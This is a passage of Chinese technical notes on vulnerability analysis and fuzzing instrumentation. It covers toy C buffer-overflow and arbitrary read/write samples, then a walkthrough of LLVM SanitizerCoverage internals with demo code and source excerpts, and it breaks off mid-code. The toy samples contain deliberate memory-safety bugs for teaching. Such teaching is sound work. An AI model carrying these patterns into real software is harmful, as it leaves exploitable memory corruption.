.这些漏洞边界函数都是较为**固定**的,并不是像需要依靠分类的样本数据使用算法来拟合出的边界函数,**漏洞的产生存在因果关系,而不是相关性**.\n\n\n\n#### 漏洞样本检验\n\n\n\n我们研究一下样本代码,看看能不能发现些什么.\n\n\n\n```c\n//  Buffer Overflow\n\ncode_sample_buffer_check_1 = '''\nvoid main() {\n    char buffer[10] = {0};\n\n    buffer[10] = '\\0';\n}\n'''\ncode_sample_buffer_check_2 = '''\nvoid main() {\n    char* buffer = (char*)malloc(10);\n\n    buffer[20] = '\\0';\n}\n'''\n```\n\n\n\n前面已经说过,漏洞之所以会产生,那是因为buffer_size 和buffer_index 的关系.**因为只有buffer_index > buffer_size 时,才导致了buffer 访问溢出.**我们使用ASAN ,Gflags 的目的就是要挖掘出来这两者之间的关系(通过代码插桩或者内存读写权限控制实现越界检测).对于code_sample_buffer_check_1 来说,buffer 大小是显式表达的(变量语句中已经声明了buffer 大小为10 );code_sample_buffer_check_2 则是隐式表达的(因为是通过malloc 分配指定,大部分情况下不容易确定它具体的值).\n\n\n\n```c\n//  Arbitrarily_Write\n\ncode_sample_arbitrarily_write_check_1 = '''\nvoid main(char* point) {\n    char* buffer = point;\n\n    *buffer = 0x1;\n}\n'''\ncode_sample_arbitrarily_write_check_2 = '''\nvoid main(char* offset) {\n    char buffer[10] = {0};\n\n    *(buffer + offset) = 0x1;\n}\n'''\ncode_sample_arbitrarily_read_check_1 = '''\nvoid main(char* point) {\n    char* buffer = point;\n    char  data = *buffer;\n}\n'''\ncode_sample_arbitrarily_read_check_2 = '''\nvoid main(char* offset) {\n    char buffer[10] = {0};\n    char data = *(buffer + offset);\n}\n'''\n```\n\n\n\n任意地址读写也是一样的,对于buffer 的边界还是需要上下文来推断,offset 的变化函数容易推算出来,但是buffer 的边界函数却不容易推算.\n\n\n\n#### 总结\n\n\n\n漏洞验证阶段是最头疼的,**验证一个漏洞是否有效,本质上是对变量的取值范围与漏洞边界进行探讨.通过上述的一些讨论发现如果要使用AI 的算法去拟合出漏洞边界函数其实是不现实的,因为这些边界函数是根据相关变量动态变化的,倒不如让我们把所有的限制条件和变量初值设置好让求解器来运算.**博主太菜了,他真的没有办法了,写到这里的时候,不知不觉留下了没有技术的泪水...\n\n\n\n那么因果推断能用上来吗? https://zhuanlan.zhihu.com/p/33860572\n\n\n\n![](pic11/pic22.png)\n\n\n\n\n\n在线函数画图URL\n\n\n\nhttps://zh.numberempire.com/graphingcalculator.php\n\n\n\nhttps://www.desmos.com/calculator\n\n"
  },
  {
    "path": "12.深入解析libfuzzer与asan.md",
    "content": "\n\n\n\n## LLVM下的插桩简述\n\n\n\n  关于LLVM的编译过程网上已经有很多的分析,在此挑选出与本文相关的地方做简单的复述:\n\n\n\n1. LLVM前端把代码序列化为AST树,编译成LLVM IR.\n2. 编译为LLVM IR后,通过各个模块(Pass)进行分析,优化与插桩.\n3. 编译为目标平台二进制字节码.\n4. 符号链接,生成可执行文件.\n\n\n\n![](./pic12/Compile-time-instrumentation-flow-in-LLVM.png)\n\n\n\n  本文要讨论的插桩技术包含Sanitizer-Coverage和ASAN,它们在LLVM中分别存在于Pass和Compiler-RT中.简单地说,Pass提供插桩的功能,Compiler-RT中提供了运行时支持的内部接口函数,下面从最容易入手的Sanitizer-Coverage开始实现代码覆盖率的统计.\n\n\n\n## 玩转Sanitizer-Coverage\n\n\n\n#### Sanitizer-Coverage初体验\n\n\n\n  接触过二进制Fuzzing的朋友们应该知道,代码覆盖率的用意是了解当前的模糊测试方式与用例触发程序执行的代码占整体代码的百分比,这个比值越高,越说明有很多的代码分支和函数被执行到,能够挖掘到隐藏在代码的漏洞的概率就更大.\n\n  下面是一段简单的测试代码:\n\n\n\n```c\n#include <stdlib.h>\n\nint function1(int a) {\n    if (1 == a)\n        return 0;\n\n    return 1;\n}\n\nint function2() {\n    return -1;\n}\n\nint main() {\n    if (rand() % 2)\n        function1(rand() % 3);\n    else\n        function2();\n\n    return 0;\n}\n```\n\n\n\n  要想Clang引入Sanitizer-Coverage,需要提供编译参数`-fsanitize-coverage=trace-pc-guard`,编译命令如下:\n\n\n\n```makefile\nall:\n\tclang -fsanitize-coverage=trace-pc-guard ./test_case.c -g -o ./test_case\n```\n\n\n\n  把编译后的可执行程序`./test_case`拿到IDA逆向,可以发现LLVM Sanitizer-Coverage的插桩原理:\n\n\n\n```c\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  int v3; // eax\n  __int64 v4; // rdx\n  int v5; // eax\n\n  _sanitizer_cov_trace_pc_guard(&unk_439BC0, argv, envp);\n  v3 = rand();\n  v4 = (unsigned int)(v3 >> 31);\n  LODWORD(v4) = v3 % 2;\n  if ( v3 % 2 )\n  {\n    _sanitizer_cov_trace_pc_guard((char *)&unk_439BC0 + 4, argv, v4);\n    v5 = rand();\n    function1(v5 % 3);\n  }\n  else\n  {\n    _sanitizer_cov_trace_pc_guard((char *)&unk_439BC0 + 8, argv, v4);\n    function2();\n  }\n  return 0;\n}\n```\n\n\n\n  其中**_sanitizer_cov_trace_pc_guard()**就是插桩回调函数,如果没有重写该函数,那就LLVM就会使用默认版本,官方文档有一处示例代码,使用自定义该回调函数打印插桩分支信息.\n\n\n\n```c\n//  多余注释已经删除,感兴趣可自行到官网查看\nextern \"C\" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {\n  if (!*guard) return;\n  void *PC = __builtin_return_address(0);\n  char PcDescr[1024];\n    \n  __sanitizer_symbolize_pc(PC, \"%p %F %L\", PcDescr, sizeof(PcDescr));\n  printf(\"guard: %p %x PC %s\\n\", guard, *guard, PcDescr);\n}\n```\n\n\n\n  把函数代码放到test_case.c中并添加相关头文件后,编译后执行效果如下:\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ ./test_case \nguard: 0x439bc0 5 PC 0x423c06 in main /home/ubuntu/Desktop/instrument_note/./test_case.c:17\nguard: 0x439bc4 6 PC 0x423c3b in main /home/ubuntu/Desktop/instrument_note/./test_case.c:19:19\nguard: 0x439bb0 1 PC 0x423b6c in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:6\nguard: 0x439bb4 2 PC 0x423b98 in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:8:9\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$\n```\n\n\n\n#### 一个简单的代码覆盖率Demo\n\n\n\n  统计程序的代码覆盖率需要两个要素:`当前程序所有分支总数/执行过的程序路径总数`.对于当前程序所有分支总数的获取,我们可以直接通过`__sanitizer_cov_trace_pc_guard()`统计得到,那么当前程序所有分支总数怎么获取呢?我们发现LLVM还提供了Sanitizer-Coverage初始化函数`__sanitizer_cov_trace_pc_guard_init()`,来看看它的声明.\n\n\n\n```c\nvoid __sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop);\n```\n\n\n\n  其中,start和stop参数分别指的是插桩数据开始到结束的指针,那么只需要计算`stop-start`即可获取当前程序所有分支总数.\n\n\n\n```c\nuint32_t __sancov_current_all_guard_count = 0;\n\nvoid __sanitizer_cov_trace_pc_guard_init(uint32_t *start,uint32_t *stop) {\n    __sancov_current_all_guard_count = (stop - start);\n\n    printf(\"Sanitizer All Coverage edges: 0x%X \\n\",__sancov_current_all_guard_count);\n}\n```\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ make && ./test_case \nclang -fsanitize-coverage=trace-pc-guard ./test_case.c -g -o ./test_case\n./test_case.c:31:3: warning: implicit declaration of function '__sanitizer_symbolize_pc' is invalid in C99 [-Wimplicit-function-declaration]\n  __sanitizer_symbolize_pc(PC, \"%p %F %L\", PcDescr, sizeof(PcDescr));\n  ^\n1 warning generated.\nSanitizer All Coverage edges: 0x7 \nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ \n```\n\n\n\n  稍微对代码进行修改,就可以完成一个简单的代码覆盖率统计Demo\n\n\n\n```c\nuint32_t __sancov_current_all_guard_count = 0;\nuint32_t __sancov_current_execute_guard_count = 0;\n\nvoid __sanitizer_cov_trace_pc_guard(uint32_t *guard) {\n  if (!*guard) return;\n  void *PC = __builtin_return_address(0);\n  char PcDescr[1024];\n    \n  __sanitizer_symbolize_pc(PC, \"%p %F %L\", PcDescr, sizeof(PcDescr));\n  printf(\"guard: %p %x PC %s\\n\", guard, *guard, PcDescr);\n  ++__sancov_current_execute_guard_count;\n}\n\nvoid __sanitizer_cov_trace_pc_guard_init(uint32_t *start,uint32_t *stop) {\n    int index = 0;\n\n    for (uint32_t *p = start;p < stop;++p)  //  为什么这里要需要for循环初始化呢,下一章会提到\n        *p = ++index;\n\n    __sancov_current_all_guard_count = (stop - start);\n\n    printf(\"Sanitizer All Coverage edges: 0x%X \\n\",__sancov_current_all_guard_count);\n}\n\nint main() {\n    if (rand() % 2)\n        function1(rand() % 3);\n    else\n        function2();\n\n    printf(\"Coverage Rate:%.2f% (%d/%d)\\n\",\n        __sancov_current_execute_guard_count,\n        __sancov_current_all_guard_count,\n        ((float)__sancov_current_execute_guard_count/(float)__sancov_current_all_guard_count) * 100);\n\n    return 0;\n}\n```\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ make && ./test_case \nclang -fsanitize-coverage=trace-pc-guard ./test_case.c -g -o ./test_case\nSanitizer All Coverage edges: 0x7 \nguard: 0x439bc0 5 PC 0x423ca6 in main /home/ubuntu/Desktop/instrument_note/./test_case.c:41\nguard: 0x439bc4 6 PC 0x423cdb in main /home/ubuntu/Desktop/instrument_note/./test_case.c:43:19\nguard: 0x439bb0 1 PC 0x423c0c in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:30\nguard: 0x439bb4 2 PC 0x423c38 in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:32:9\nCoverage Rate:57.14% (4/7)\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ \n```\n\n\n\n#### 深入探索Sanitizer-Coverage实现\n\n\n\n  前一章节中留下了一个疑问,如果有自行使用这段代码编译运行就会发现,为什么用户自定义函数`__sanitizer_cov_trace_pc_guard_init()`之后,`__sanitizer_cov_trace_pc_guard()`就没有任何程序执行输出了?为什么`__sanitizer_cov_trace_pc_guard_init()`对start和stop初始化之后就可以成功运行了?为了深入理解这个问题,我们需要逆向Sanitizer-Coverage编译后的二进制程序.\n\n  我们阅读默认版本的`__sanitizer_cov_trace_pc_guard_init()`代码:\n\n\n\n```c\n//  默认版本()\nunsigned __int64 __usercall _sanitizer_cov_trace_pc_guard_init@<rax>(unsigned __int64 result@<rax>, unsigned __int64 a2@<rdi>, __sancov *a3@<rsi>, __m128i a4@<xmm1>, __m128i a5@<xmm8>)\n{\n  //  省略很多代码\n  v5 = (_DWORD *)a2;  //  start\n  if ( *(_DWORD *)a2 )\n    return result;\n  v6 = (unsigned __int64)a3;  //  stop\n  //  省略很多代码\n  do\n   {\n    *v5 = ++v8;\n    ++v5;\n   }\n  while ( (unsigned __int64)v5 < v6 );\n  //  省略很多代码\n  return result;\n}\n```\n\n\n\n  初始化函数会对start和stop这块内存区域进行计数写入,再来看看这块内存的分布.\n\n\n\n```assembly\n__sancov_guards:0000000000439BB0 ; ===========================================================================\n__sancov_guards:0000000000439BB0\n__sancov_guards:0000000000439BB0 ; Segment type: Pure data\n__sancov_guards:0000000000439BB0 ; Segment permissions: Read/Write\n__sancov_guards:0000000000439BB0 __sancov_guards segment dword public 'DATA' use64\n__sancov_guards:0000000000439BB0                 assume cs:__sancov_guards\n__sancov_guards:0000000000439BB0                 ;org 439BB0h\n__sancov_guards:0000000000439BB0                 public __start___sancov_guards\n__sancov_guards:0000000000439BB0 ; uint32_t _start___sancov_guards[3]\n__sancov_guards:0000000000439BB0 __start___sancov_guards dd 0            ; start参数起始地址\n__sancov_guards:0000000000439BB4                 db    0\n__sancov_guards:0000000000439BB5                 db    0\n__sancov_guards:0000000000439BB6                 db    0\n__sancov_guards:0000000000439BB7                 db    0\n__sancov_guards:0000000000439BB8                 db    0\n__sancov_guards:0000000000439BB9                 db    0\n__sancov_guards:0000000000439BBA                 db    0\n__sancov_guards:0000000000439BBB                 db    0\n__sancov_guards:0000000000439BBC ; uint32_t guard\n__sancov_guards:0000000000439BBC guard           dd 0      \n__sancov_guards:0000000000439BC0 ; uint32_t dword_439BC0[3]\n__sancov_guards:0000000000439BC0 dword_439BC0    dd 0      \n__sancov_guards:0000000000439BC0                \n__sancov_guards:0000000000439BC4                 db    0\n__sancov_guards:0000000000439BC5                 db    0\n__sancov_guards:0000000000439BC6                 db    0\n__sancov_guards:0000000000439BC7                 db    0\n__sancov_guards:0000000000439BC8                 db    0\n__sancov_guards:0000000000439BC9                 db    0\n__sancov_guards:0000000000439BCA                 db    0\n__sancov_guards:0000000000439BCB                 db    0\n__sancov_guards:0000000000439BCB __sancov_guards ends\n__sancov_guards:0000000000439BCB\nLOAD:0000000000439BCC ; stop结束地址\n```\n\n\n\n  这样来看这块内存数据不太容易理解,我们再读一下funtion1()的反汇编代码.\n\n\n\n```c\nint __cdecl function1(int a)\n{\n  int v2; // [rsp+Ch] [rbp-4h]\n\n  _sanitizer_cov_trace_pc_guard(_start___sancov_guards);  //  从start[0]读取数据调用trace_pc_guard()\n  if ( a == 1 )\n  {\n    _sanitizer_cov_trace_pc_guard(&_start___sancov_guards[1]);  //  从start[1]读取数据调用trace_pc_guard()\n    v2 = 0;\n  }\n  else\n  {\n    _sanitizer_cov_trace_pc_guard(&_start___sancov_guards[2]);  //  从start[2]读取数据调用trace_pc_guard()\n    v2 = 1;\n  }\n  return v2;\n}\n\n// 执行function1()后的输出如下:\n// guard: 0x439bb0 1 PC 0x423c1c in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:31\n// guard: 0x439bb4 2 PC 0x423c48 in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:33:9\n\n```\n\n\n\n  对`function1()`的逆向和运行可以发现,start[0]-start[2]的内存数据是用于保存当前执行的分支ID数据.综上所述,Sanitizer-Coverage会创造一块专用的区段用于保存插桩分支ID信息,但是这块内存默认是空数据,所以才需要`__sanitizer_cov_trace_pc_guard_init`遍历生成ID写入这块内存,后续`__sanitizer_cov_trace_pc_guard()`就可以成功从这里读取到分支ID数据.理解这个细节之后,再回来阅读上面的自定义`__sanitizer_cov_trace_pc_guard_init()`容易明白意义何在了.\n\n\n\n```c\n//  用户自定义版本\nvoid __cdecl _sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop)\n{\n  uint32_t *p; // [rsp+0h] [rbp-20h]\n  int index; // [rsp+Ch] [rbp-14h]\n\n  index = 0;\n  for ( p = start; p <= stop; ++p )  // 初始化分支ID表\n    *p = ++index;\n  _sancov_current_all_guard_count = stop - start;  // 计算所有程序分支总数\n  printf(\"Sanitizer All Coverage edges: 0x%X \\n\", (unsigned int)(stop - start), p);\n}\n```\n\n\n\n#### LLVM Pass for SanitizerCoverage.cpp实现细节\n\n\n\n  了解Sanitizer-Coverage的运行原理后,现在从Clang编译的角度去探索它是怎么做实现的.SanitizerCoverage的实现代码在LLVM的`\\llvm-project\\llvm\\lib\\Transforms\\Instrumentation\\SanitizerCoverage.cpp`目录.在阅读插桩代码之前简短提示下LLVM的Pass(优化模块)运行过程,插桩时一般用到ModulePass和FunctionPass,如果对整个代码文件进行处理时,那就用到ModulePass对象;如果对所有函数都处理,那就用到FunctionPass.PassManager控制所有Pass的执行过程.\n\n\n\n```c++\nclass ModuleSanitizerCoverageLegacyPass : public ModulePass {\npublic:\n  bool runOnModule(Module &M) override {\n    ModuleSanitizerCoverage ModuleSancov(Options, Allowlist.get(),\n                                         Blocklist.get());\n    // Allowlist/Blocklist由参数-fsanitize-coverage-allowlist/-fsanitize-coverage-blocklist指定函数列表,有些场景下会用到\n    auto DTCallback = [this](Function &F) -> const DominatorTree * {\n      return &this->getAnalysis<DominatorTreeWrapperPass>(F).getDomTree();\n    };\n    auto PDTCallback = [this](Function &F) -> const PostDominatorTree * {\n      return &this->getAnalysis<PostDominatorTreeWrapperPass>(F)\n                  .getPostDomTree();\n    };\n    return ModuleSancov.instrumentModule(M, DTCallback, PDTCallback);\n  }\n}\n```\n\n\n\n  ModulePass执行时的入口点在`runOnModule()`中,这里主要是把相关的参数传递给`instrumentModule()`.\n\n\n\n```c++\nbool ModuleSanitizerCoverage::instrumentModule(\n    Module &M, DomTreeCallback DTCallback, PostDomTreeCallback PDTCallback) {\n  if (Options.CoverageType == SanitizerCoverageOptions::SCK_None)\n    return false;\n  if (Allowlist &&\n      !Allowlist->inSection(\"coverage\", \"src\", M.getSourceFileName()))\n    return false;\n  if (Blocklist &&\n      Blocklist->inSection(\"coverage\", \"src\", M.getSourceFileName()))\n    return false;\n  C = &(M.getContext());\n  DL = &M.getDataLayout();\n  CurModule = &M;\n  CurModuleUniqueId = getUniqueModuleId(CurModule);\n  TargetTriple = Triple(M.getTargetTriple());\n  FunctionGuardArray = nullptr;\n  Function8bitCounterArray = nullptr;\n  FunctionBoolArray = nullptr;\n  FunctionPCsArray = nullptr;\n  IntptrTy = Type::getIntNTy(*C, DL->getPointerSizeInBits());\n  IntptrPtrTy = PointerType::getUnqual(IntptrTy);\n  Type *VoidTy = Type::getVoidTy(*C);\n  IRBuilder<> IRB(*C);\n  Int64PtrTy = PointerType::getUnqual(IRB.getInt64Ty());\n  Int32PtrTy = PointerType::getUnqual(IRB.getInt32Ty());\n  Int8PtrTy = PointerType::getUnqual(IRB.getInt8Ty());\n  Int1PtrTy = PointerType::getUnqual(IRB.getInt1Ty());\n  Int64Ty = IRB.getInt64Ty();\n  Int32Ty = IRB.getInt32Ty();\n  Int16Ty = IRB.getInt16Ty();\n  Int8Ty = IRB.getInt8Ty();\n  Int1Ty = IRB.getInt1Ty();\n\n  SanCovTracePCIndir =\n      M.getOrInsertFunction(SanCovTracePCIndirName, VoidTy, IntptrTy);\n  // Make sure smaller parameters are zero-extended to i64 as required by the\n  // x86_64 ABI.\n  AttributeList SanCovTraceCmpZeroExtAL;\n  if (TargetTriple.getArch() == Triple::x86_64) {\n    SanCovTraceCmpZeroExtAL =\n        SanCovTraceCmpZeroExtAL.addParamAttribute(*C, 0, Attribute::ZExt);\n    SanCovTraceCmpZeroExtAL =\n        SanCovTraceCmpZeroExtAL.addParamAttribute(*C, 1, Attribute::ZExt);\n  }\n\n  SanCovTraceCmpFunction[0] =\n      M.getOrInsertFunction(SanCovTraceCmp1, SanCovTraceCmpZeroExtAL, VoidTy,\n                            IRB.getInt8Ty(), IRB.getInt8Ty());\n  SanCovTraceCmpFunction[1] =\n      M.getOrInsertFunction(SanCovTraceCmp2, SanCovTraceCmpZeroExtAL, VoidTy,\n                            IRB.getInt16Ty(), IRB.getInt16Ty());\n  SanCovTraceCmpFunction[2] =\n      M.getOrInsertFunction(SanCovTraceCmp4, SanCovTraceCmpZeroExtAL, VoidTy,\n                            IRB.getInt32Ty(), IRB.getInt32Ty());\n  SanCovTraceCmpFunction[3] =\n      M.getOrInsertFunction(SanCovTraceCmp8, VoidTy, Int64Ty, Int64Ty);\n\n  SanCovTraceConstCmpFunction[0] = M.getOrInsertFunction(\n      SanCovTraceConstCmp1, SanCovTraceCmpZeroExtAL, VoidTy, Int8Ty, Int8Ty);\n  SanCovTraceConstCmpFunction[1] = M.getOrInsertFunction(\n      SanCovTraceConstCmp2, SanCovTraceCmpZeroExtAL, VoidTy, Int16Ty, Int16Ty);\n  SanCovTraceConstCmpFunction[2] = M.getOrInsertFunction(\n      SanCovTraceConstCmp4, SanCovTraceCmpZeroExtAL, VoidTy, Int32Ty, Int32Ty);\n  SanCovTraceConstCmpFunction[3] =\n      M.getOrInsertFunction(SanCovTraceConstCmp8, VoidTy, Int64Ty, Int64Ty);\n\n  {\n    AttributeList AL;\n    if (TargetTriple.getArch() == Triple::x86_64)\n      AL = AL.addParamAttribute(*C, 0, Attribute::ZExt);\n    SanCovTraceDivFunction[0] =\n        M.getOrInsertFunction(SanCovTraceDiv4, AL, VoidTy, IRB.getInt32Ty());\n  }\n  SanCovTraceDivFunction[1] =\n      M.getOrInsertFunction(SanCovTraceDiv8, VoidTy, Int64Ty);\n  SanCovTraceGepFunction =\n      M.getOrInsertFunction(SanCovTraceGep, VoidTy, IntptrTy);\n  SanCovTraceSwitchFunction =\n      M.getOrInsertFunction(SanCovTraceSwitchName, VoidTy, Int64Ty, Int64PtrTy);\n\n  Constant *SanCovLowestStackConstant =\n      M.getOrInsertGlobal(SanCovLowestStackName, IntptrTy);\n  SanCovLowestStack = dyn_cast<GlobalVariable>(SanCovLowestStackConstant);\n  if (!SanCovLowestStack) {\n    C->emitError(StringRef(\"'\") + SanCovLowestStackName +\n                 \"' should not be declared by the user\");\n    return true;\n  }\n  SanCovLowestStack->setThreadLocalMode(\n      GlobalValue::ThreadLocalMode::InitialExecTLSModel);\n  if (Options.StackDepth && !SanCovLowestStack->isDeclaration())\n    SanCovLowestStack->setInitializer(Constant::getAllOnesValue(IntptrTy));\n\n  SanCovTracePC = M.getOrInsertFunction(SanCovTracePCName, VoidTy);\n  SanCovTracePCGuard =\n      M.getOrInsertFunction(SanCovTracePCGuardName, VoidTy, Int32PtrTy);\n\n/*\n\nstatic const char *const SanCovTracePCName = \"__sanitizer_cov_trace_pc\";\nstatic const char *const SanCovTraceCmp1 = \"__sanitizer_cov_trace_cmp1\";\nstatic const char *const SanCovTraceCmp2 = \"__sanitizer_cov_trace_cmp2\";\nstatic const char *const SanCovTraceCmp4 = \"__sanitizer_cov_trace_cmp4\";\nstatic const char *const SanCovTraceCmp8 = \"__sanitizer_cov_trace_cmp8\";\n\n*/\n```\n\n\n\n  上面的逻辑代码逻辑主要就是从LLVMContext中获取常见变量类型和根据函数名获取SanitizerCoverage的内部函数以初始化,然后就遍历Module中的所有Function,开始插桩.\n\n\n\n```c++\n  for (auto &F : M)\n    instrumentFunction(F, DTCallback, PDTCallback);\n```\n\n```c++\n\nvoid ModuleSanitizerCoverage::instrumentFunction(\n    Function &F, DomTreeCallback DTCallback, PostDomTreeCallback PDTCallback) {\n  if (F.empty())\n    return;\n  if (F.getName().find(\".module_ctor\") != std::string::npos)\n    return; // Should not instrument sanitizer init functions.\n  if (F.getName().startswith(\"__sanitizer_\"))\n    return; // Don't instrument __sanitizer_* callbacks.\n  // 省略很多不插桩的逻辑\n    \n  SmallVector<Instruction *, 8> IndirCalls;\n  SmallVector<BasicBlock *, 16> BlocksToInstrument;\n  SmallVector<Instruction *, 8> CmpTraceTargets;\n  SmallVector<Instruction *, 8> SwitchTraceTargets;\n  SmallVector<BinaryOperator *, 8> DivTraceTargets;\n  SmallVector<GetElementPtrInst *, 8> GepTraceTargets;\n  // 这些变量分别用于不同参数的插桩方法\n  // -fsanitize-coverage=trace-pc-guard,indirect-calls,trace-cmp,trace-div,trace-gep\n    \n  for (auto &BB : F) {  // 遍历当前函数所有BasicBlock代码块\n    if (shouldInstrumentBlock(F, &BB, DT, PDT, Options))\n      BlocksToInstrument.push_back(&BB);  // 记录所有可以进行插桩的BasicBlock\n    for (auto &Inst : BB) {  // 遍历BasicBlock中所有指令\n      if (Options.IndirectCalls) {  // 如果启用参数-fsanitize-coverage=indirect-calls\n        CallBase *CB = dyn_cast<CallBase>(&Inst);\n        if (CB && !CB->getCalledFunction())  // 如果是Call指令,dyn_case会返回非NULL指针\n          IndirCalls.push_back(&Inst);  // 记录所有Call指令\n      }\n      if (Options.TraceCmp) {\n        if (ICmpInst *CMP = dyn_cast<ICmpInst>(&Inst))\n          if (IsInterestingCmp(CMP, DT, Options))\n            CmpTraceTargets.push_back(&Inst);\n        if (isa<SwitchInst>(&Inst))\n          SwitchTraceTargets.push_back(&Inst);\n      }\n      if (Options.TraceDiv)\n        if (BinaryOperator *BO = dyn_cast<BinaryOperator>(&Inst))\n          if (BO->getOpcode() == Instruction::SDiv ||\n              BO->getOpcode() == Instruction::UDiv)\n            DivTraceTargets.push_back(BO);\n      if (Options.TraceGep)\n        if (GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(&Inst))\n          GepTraceTargets.push_back(GEP);\n      if (Options.StackDepth)\n        if (isa<InvokeInst>(Inst) ||\n            (isa<CallInst>(Inst) && !isa<IntrinsicInst>(Inst)))\n          IsLeafFunc = false;\n    }\n  }\n    \n  // 经过多次遍历之后获取到很多BasicBlock和Inst,然后分别使用不同方法进行插桩\n  InjectCoverage(F, BlocksToInstrument, IsLeafFunc);\n  InjectCoverageForIndirectCalls(F, IndirCalls);\n  InjectTraceForCmp(F, CmpTraceTargets);\n  InjectTraceForSwitch(F, SwitchTraceTargets);\n  InjectTraceForDiv(F, DivTraceTargets);\n  InjectTraceForGep(F, GepTraceTargets);\n}\n```\n\n\n\n  由于文章篇幅关系,在此就只介绍`InjectCoverage()`的插桩逻辑,简单地说,接下来`InjectCoverage()`会直接根据前面的筛选出来的BlocksToInstrument的入口处插入对`__sanitizer_cov_trace_pc_guard()`函数调用.\n\n\n\n```c++\nbool ModuleSanitizerCoverage::InjectCoverage(Function &F, ArrayRef<BasicBlock *> AllBlocks,bool IsLeafFunc) {\n  if (AllBlocks.empty()) return false;\n    CreateFunctionLocalArrays(F, AllBlocks);  // 这里就是创建SantizerCoverage的分支ID记录内存区域\n  for (size_t i = 0, N = AllBlocks.size(); i < N; i++)\n    InjectCoverageAtBlock(F, *AllBlocks[i], i, IsLeafFunc);  // 遍历所有BasicBlock\n  return true;\n}\n\nvoid ModuleSanitizerCoverage::CreateFunctionLocalArrays(\n    Function &F, ArrayRef<BasicBlock *> AllBlocks) {\n  if (Options.TracePCGuard)\n    FunctionGuardArray = CreateFunctionLocalArrayInSection(\n        AllBlocks.size(), F, Int32Ty, SanCovGuardsSectionName);  // 记住这个变量,这里的意思是根据当前获取到的所有BasicBlock的数量去创建一个整数数组,用于收集TracePCGuard插桩方法的分支ID记录内存区域\n  // 省略其它代码\n}\n\nvoid ModuleSanitizerCoverage::InjectCoverageAtBlock(Function &F, BasicBlock &BB,size_t Idx,bool IsLeafFunc) {\n  BasicBlock::iterator IP = BB.getFirstInsertionPt();\n  bool IsEntryBB = &BB == &F.getEntryBlock();\n  DebugLoc EntryLoc;\n  if (IsEntryBB) {\n    if (auto SP = F.getSubprogram())\n      EntryLoc = DebugLoc::get(SP->getScopeLine(), 0, SP);\n    // Keep static allocas and llvm.localescape calls in the entry block.  Even\n    // if we aren't splitting the block, it's nice for allocas to be before\n    // calls.\n    IP = PrepareToSplitEntryBlock(BB, IP);\n  } else {\n    EntryLoc = IP->getDebugLoc();\n  }\n\n  IRBuilder<> IRB(&*IP);  // 前面一通操作是为了获取BasicBlock的第一条指令\n  // 省略其它代码\n  if (Options.TracePCGuard) {\n    auto GuardPtr = IRB.CreateIntToPtr(\n        IRB.CreateAdd(IRB.CreatePointerCast(FunctionGuardArray, IntptrTy),\n                      ConstantInt::get(IntptrTy, Idx * 4)),\n        Int32PtrTy);  // 创建整数指针引用,等价于FunctionGuardArray[Idx]\n    IRB.CreateCall(SanCovTracePCGuard, GuardPtr)->setCannotMerge();  // 使用前面创建的引用来创建函数调用,等价于__sanitizer_cov_trace_pc_guard(FunctionGuardArray[Idx]);\n  }\n  // 省略其它代码\n}\n```\n\n\n\n  完成所有插桩之后,最后一步就是程序启动时插入对`__sanitizer_cov_trace_pc_guard_init()`函数的调用.\n\n\n\n```c++\n  Function *Ctor = nullptr;\n\n  if (FunctionGuardArray)\n    Ctor = CreateInitCallsForSections(M, SanCovModuleCtorTracePcGuardName,\n                                      SanCovTracePCGuardInitName, Int32PtrTy,\n                                      SanCovGuardsSectionName);\n```\n\n\n\n  细心的读者可能会想起还有个细节没有提到,那就是LLVM默认的`__sanitizer_cov_trace_pc_guard_init()`函数再哪个地方声明引入的呢?其实这些LLVM内置的函数都在`Compiler-RT`中实现(后面ASAN会用到),代码目录在`\\llvm-project\\compiler-rt\\lib\\sanitizer_common`.\n\n\n\n```c++\n// sanitizer_coverage_fuchsia.cpp\n\nSANITIZER_INTERFACE_WEAK_DEF(void, __sanitizer_cov_trace_pc_guard_init,\n                             u32 *start, u32 *end) {  // LLVM默认__sanitizer_cov_trace_pc_guard_init()函数实现代码\n  if (start == end || *start)\n    return;\n  __sancov::pc_guard_controller.InitTracePcGuard(start, end);\n}\n\nvoid InitTracePcGuard(u32 *start, u32 *end) {  // 初始化分支ID内存区域\n  if (end > start && *start == 0 && common_flags()->coverage) {\n    // Complete the setup before filling in any guards with indices.\n    // This avoids the possibility of code called from Setup reentering\n    // TracePcGuard.\n    u32 idx = Setup(end - start);\n    for (u32 *p = start; p < end; ++p) {\n      *p = idx++;\n    }\n  }\n}\n```\n\n\n\n#### 定制SanitizerCoverage\n\n\n\n  笔者在实现Fuzzer的时候,遇到了个真实的场景.在使用二次开发或者针对某个模块做单元测试时,往往这个模块的代码只占程序全部代码的很小的部分.举个例子,如果模块代码只占全部代码的5%,但是Fuzzer的测试用例可以覆盖这个模块的80%代码,那么最后统计代码覆盖率是使用5%还是80%呢?笔者认为应该是80%的代码覆盖率才是最接近真实的,所以我的思路是:根据执行过的每个函数的总分支数除以每个函数执行过的分支数即可,示例图如下:\n\n\n\n![](./pic12/1.png)\n\n\n\n  最终的结果是\n\n\n\n```\n(6 + 2 + 1 + 1) / (10 + 4 + 1 + 2) = 58.82%\n```\n\n\n\n  现在遇到的难题有两个:\n\n* 每个函数的分支总数怎么获取呢?\n* 插桩只能获取到插桩处的PC地址,怎么样知道我们当前执行到了哪个函数地址?\n\n\n\n  为了实现这个功能,需要对原有的插桩代码做一些简短的修改,改动如下:\n\n\n\n```c++\nbool ModuleSanitizerCoverage::instrumentModule() {\n   // ...\n  SanCovTracePCGuard =\n      